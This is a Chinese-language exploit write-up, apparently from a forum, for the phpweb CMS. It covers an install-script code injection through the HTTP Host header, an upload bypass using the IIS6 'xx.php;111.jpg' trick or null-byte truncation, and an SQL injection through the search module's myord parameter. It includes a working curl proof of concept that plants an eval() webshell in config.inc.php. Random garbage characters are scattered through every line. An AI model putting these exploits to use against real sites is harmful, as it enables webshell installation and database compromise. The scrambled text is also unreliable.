注入:
& g' a7 S& [0 N0 \$ J( w
4 z* N5 k8 O$ p7 w' D% ~# U之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
) a* a% Q% e! i( a3 W
# G, c* g/ m z; C, \( I鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
$ Y+ ]! ~9 y4 F4 \8 y1 j鸡肋2: 有一定安全常识的站长都会删掉 install 目录. w& |1 r" t1 a; s' V
2 A& n0 @; k0 J$ }9 h4 |虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
9 V: {8 q' T& ~. c7 d' i6 h% @2 b9 p3 X- p2 O # ^3 y* b% A \4 `1 G4 k" E
分析:( w6 X- H g$ Q' Z
6 T0 p; D% @" Q8 B$ N: n
0 D3 f! K& q, s$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
`. ` j2 j. M# u6 y2 E; p
$ b4 x' v4 I6 g5 K $filestr = fread(fopen($SysConfigFile, 'r'),30000);1 L, c- o l: V; a7 A8 {
$filestr=str_replace(" ","",$filestr);+ C$ W; N1 L) o" N2 }, G
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
: u, z* x1 ^9 A/ E. C $filestr=str_replace("DefaultDbName",$dbname,$filestr);* X$ R5 b) D% b% J
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);6 E3 H7 H9 x6 F2 \4 l
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
, m7 ~/ `; w! N9 p( x" `* w5 F $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
0 Q$ z) v3 n5 h; _# K $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
' h1 m* b" F. K6 c $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);, E/ }: }- S+ t4 b) N& ?
6 I. ~ L% t' @7 A" ?/ q9 b) S. F/ _ fwrite(fopen($ConFile,"w"),$filestr,30000);
' S: |, U1 D! @: t& [$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^) ?; p3 x5 H, g' P+ _ T; |
: t6 }2 L$ x7 Z7 L' {3 n( S/ E
poc:
$ f! [+ U; y* L! `" n 6 o, l6 h8 w1 {, ~5 C( S& W* b" h
?2 a4 x1 {3 S, t O
16 N! o/ z% t, ^# E) J
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
: D4 [" z! E! j: u% Ushell地址: /config.inc.php2 g+ p$ v% w( z: K# q: R# d
跟之前的 phpcms一样 需要远程数据库' N# E! r& V$ }4 g
' Q$ K& D \- T* K——————————————————–
7 O1 l% f! v! g上传漏洞(需要进后台):
: \" j- \$ M. l) d漏洞文件: /kedit/upload_cgi/upload.php; V6 P. G \& V5 k
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
! Y5 X6 W6 j& B% s5 q
! A5 f1 p' U6 M
- H* @/ \7 I' Q& k! u8 Y$ y* B* R& x<?php
, _6 ]: I! H6 F$ v3 J define("ROOTPATH", "../../");
+ {; M9 q9 ~* W& h& |$ v include(ROOTPATH."includes/admin.inc.php");
0 a1 ?; Y! ^& V( ?( ?+ p5 Y+ A NeedAuth(0);
+ a1 V$ e; B7 y5 c& U2 d6 r
) |# y8 U6 q; w( S0 @" h $dt=date("Ymd",time());8 J2 J3 ~% w f
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){) \2 Y% I g; i C* p7 Y, [
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
( v5 T" q8 W% D7 Q# P3 \! u }$ B/ r: u! c$ e& m! L m
1 c0 |, ^ o+ T1 U: ]' {- b
//文件保存目录路径0 k3 _ `: C c3 [- k& F
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
8 \0 S9 K8 t! i7 g echo $save_path;/ q. D4 r: Y6 G+ r( ~
//文件保存目录URL" E8 B) n5 E) q
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
( |" |# E* N# ^! i; q / J! x& F1 N' J J- w
//定义允许上传的文件扩展名
+ s: S+ y" _% w! J $ext_arr = array('gif','jpg','png','bmp'); //限制后缀( J; n# \6 x$ k7 v- f
/ z6 `+ `4 U' N* i //最大文件大小
) p7 x: `* H; T: m) u $max_size = 1000000;
* A- d6 r# X; S) y) W! A9 ` " s! H5 y7 U+ K5 w, f4 }) t; l
//更改目录权限; |' M# M$ O; ^2 K! r
@mkdir($save_path, 0777);4 A5 F+ ^4 U8 h* U2 h
@0 ?2 ~3 U$ k& {
//文件的全部路径
" y$ B/ p$ e* [ $file_path = $save_path.$_POST['fileName']; //保存文件名. m d1 E, O4 _) z7 C j
0 q% ^/ _8 a" X9 J" G //文件URL$ }( r! O( s: O
$file_url = $save_url.$_POST['fileName'];' N4 ~, m* _( t/ J9 g" k. H; F
//有上传文件时, h" s5 G* {8 I2 j! [' t
if (empty($_FILES) === false) {
7 w7 z# x/ @, Q. h: K
1 e7 {! I3 P0 b& Y) Z //原文件名
" r3 @8 B. P6 ~( `4 W |7 B+ R $file_name = $_FILES['fileData']['name'];1 P& ?1 y6 \. ? H; F$ y3 J
//服务器上临时文件名* s: k: F& I/ A! [! P, F* R) P
$tmp_name = $_FILES['fileData']['tmp_name'];/ Z0 G) D3 a# d I$ X7 i9 k* b
//文件大小
/ v( V6 q6 C1 {3 `- \ G $file_size = $_FILES['fileData']['size'];! P2 P3 W5 z- W% C
//检查目录) N, l, w9 Q Q( G% T
if (@is_dir($save_path) === false) {
% M7 i) q S0 P! s alert("上传目录不存在。");1 U2 g* a. l U8 ]0 L
}5 k8 s$ `5 p) \8 l7 x
//检查目录写权限
# U, C1 r9 Q* u& @8 g% I6 g/ V if (@is_writable($save_path) === false) {
. I/ K' x- l+ P8 e; D- ~' { alert("上传目录没有写权限。");
- y' @8 t1 i/ I, I( @ }
5 h3 M+ U5 _0 k% Y- K% E //检查是否已上传/ p. j$ B0 c6 ~2 S
if (@is_uploaded_file($tmp_name) === false) {+ Y& U2 a4 J' Q. l3 G8 \6 Z
alert("临时文件可能不是上传文件。");9 \3 c) A, Y* W* R5 p
}
, H: G9 S4 f% _& W //检查文件大小
* K* L% Q6 `( p2 ^ if ($file_size > $max_size) {
% y- O4 ? ]7 W alert("上传文件大小超过限制。");
+ | E- t d0 v8 Q }9 }6 q: t, A& x) i/ n/ d
//获得文件扩展名8 R# D* p) M# m+ N
$temp_arr = explode(".", $_POST['fileName']);
P0 P+ @6 Q7 C$ | $file_ext = array_pop($temp_arr);
' b! P9 b0 h* | $file_ext = trim($file_ext);9 s0 e9 S' f+ J; i! C; o* A
$file_ext = strtolower($file_ext);
+ b2 P7 [, u. u" H. ~1 B; R8 ^# k9 J
6 h$ L* d! e; U- u6 K( t( }" A //检查扩展名 % S6 j+ A# M9 |
if (in_array($file_ext, $ext_arr) === false) {
`0 T% x6 T# c5 z$ y4 J alert("上传文件扩展名是不允许的扩展名。");/ {" Q& j8 W* g# r+ _
}
/ x3 _/ p5 ~3 R0 O- B% x
0 E5 C# A& ?- H+ D$ s //移动文件 ( j% N. {+ m- `, m, g% _
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^. Q# L4 H% B9 H6 u+ @+ H
if (move_uploaded_file($tmp_name, $file_path) === false) {7 t4 o; @* P7 ^' Z- r
alert("上传文件失败。");
+ \$ j) Y' T$ {2 k( h }4 x+ R9 U" Y. Z# ^; |
, I$ n+ D5 r( K1 Z
@chmod($file_path,0666);5 h) e0 O; p9 L0 f7 [$ n! z
, z" |/ Y: c1 z; E- F2 ~
?>8 {( O! ^, c4 L% {) y. e( A
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
0 Q$ K" N( Z% L2 `, |8 [* u, h- { - l$ Q$ }8 P3 t
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
# V8 F* J2 z s3 `, V6 M
1 y) [3 k# I6 ^0 a( s——————————————————
3 Y& f$ ?/ {- c! v; L, B注入漏洞:/ ? T5 V7 l$ m. ]
漏洞文件:search/module/search.php+ b5 J" n. E9 B: }* x( Z
/search/index.php?key=1&myord=1 [sqlinjection]
! f0 i" ^. R4 e2 [0 n* W7 d / Q0 t; s2 R8 @
0 D- t! d% }1 Q1 o/ P+ K& L: h<?php
8 k I5 ]5 S4 _, ~' l // ... 省略 n 行...# A" N( e+ X( ~/ @& W: ]6 g: X
//第18行:% I% Z4 p$ `# P. L( ^5 H
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
- ~) n' ?2 R! `6 X# u $page=htmlspecialchars($_GET["page"]);
0 Y ?' o9 d* _) [ C $myord=htmlspecialchars($_GET["myord"]);
$ N0 g5 |4 j; g/ f
6 g8 n6 i8 `# h1 _ // ... 省略 n 行...
% F8 z! ]0 ^8 N' A* v $key,$myord 两个参数带入查询
D7 k* Z8 d) q M0 R0 X" p //第47行 $key:+ J0 q# Q) [# @1 V
1 m' @, q7 r& `) [ $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
* N6 L9 p2 F, Z " i; o2 [& {4 P6 p A
//第197行 $myord; r4 r/ W9 ]2 A
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
/ t1 J- G5 G7 N( T- Y5 }. Z# {
) g2 u2 l7 K& P( K% n ?>
0 M4 a: h+ i6 Z) e |